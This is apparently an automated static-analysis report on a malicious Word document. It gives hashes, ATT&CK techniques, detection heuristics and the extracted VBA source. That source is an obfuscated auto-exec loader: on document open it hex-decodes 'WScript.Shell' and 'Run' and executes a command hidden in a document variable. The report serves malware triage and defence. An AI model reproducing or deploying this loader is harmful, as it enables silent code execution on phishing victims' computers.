Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d1fb6b09aa8f877…

MALICIOUS

Office (OLE)

36.5 KB Created: 2018-06-17 17:40:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: d3f98322e634056c665e0effdca49577 SHA-1: fa459179198ef4ae4126a10143f1d338a49876bf SHA-256: 7d1fb6b09aa8f877652a4b58646e7d9eae754bb458c0a12c040eebf0f370f700
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing heavily obfuscated VBA macros, including an auto-exec loader. The VBA code uses a custom decoder function to reconstruct a string, which is then executed. This indicates the file's primary purpose is to download and execute a second-stage payload.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700360-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2617 bytes
SHA-256: 678357d109f0fa24b69dafb99becdd25b6ad36b631a2960016970d2ee0c43d8a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function WEAOE() As String
Dim aWEAOE As String
aWEAOE = "8968682B6868A66864356868683D6868686868556873686C68486888A768682C68606862687E68687232686C686D8A942C68688D68388B6F33684298687068"
Dim reWEAOE = aWEAOE
Dim reMsgBox(Mid(aWEAOE & reWEAOE, 28))
End Function

Public Function XWM_(ByVal URJ_ As String)
   Dim DIU_ As String
   Dim IAU_ As Long
   For IAU_ = 1 To Len(URJ_) Step 2
        Dim ZYT_ As Long: ZYT_ = CLng(Chr(38) & Chr(72) & Mid(URJ_, IAU_, 2))
        DIU_ = DIU_ & Chr(ZYT_ - 30)
   Next
   XWM_ = DIU_
End Function
Private Function DCIGX() As String
Dim aDCIGX As String
aDCIGX = "8968682B6868A66864356868683D6868686868556873686C68486888A768682C68606862687E68687232686C686D8A942C68688D68388B6F33684298687068"
Dim reDCIGX = aDCIGX
Dim reMsgBox(Mid(aDCIGX & reDCIGX, 28))
End Function

Sub GTYKSW_()
    R_
End Sub
Private Function JZXRU() As String
Dim aJZXRU As String
aJZXRU = "8968682B6868A66864356868683D6868686868556873686C68486888A768682C68606862687E68687232686C686D8A942C68688D68388B6F33684298687068"
Dim reJZXRU = aJZXRU
Dim reMsgBox(Mid(aJZXRU & reJZXRU, 28))
End Function

Public Sub Document_Open()
    Application.Run XWM_("6572776971757D")
End Sub
Private Function ADDPT() As String
Dim aADDPT As String
aADDPT = "8968682B6868A66864356868683D6868686868556873686C68486888A768682C68606862687E68687232686C686D8A942C68688D68388B6F33684298687068"
Dim reADDPT = aADDPT
Dim reMsgBox(Mid(aADDPT & reADDPT, 28))
End Function

Sub Workbook_Open()
    GTYKSW_
End Sub
Private Function IXBOW() As String
Dim aIXBOW As String
aIXBOW = "8968682B6868A66864356868683D6868686868556873686C68486888A768682C68606862687E68687232686C686D8A942C68688D68388B6F33684298687068"
Dim reIXBOW = aIXBOW
Dim reMsgBox(Mid(aIXBOW & reIXBOW, 28))
End Function

Public Sub R_()
    Dim URJ_ As Object: Set URJ_ = VBA.CreateObject(XWM_("75718190878E924C7186838A8A"))
    CallByName URJ_, XWM_("70938C"), VbMethod, XWM_(ActiveDocument.Variables("KODTSDUX").Value), 0, True
End Sub
Private Function OKMKG() As String
Dim aOKMKG As String
aOKMKG = "8968682B6868A66864356868683D6868686868556873686C68486888A768682C68606862687E68687232686C686D8A942C68688D68388B6F33684298687068"
Dim reOKMKG = aOKMKG
Dim reMsgBox(Mid(aOKMKG & reOKMKG, 28))
End Function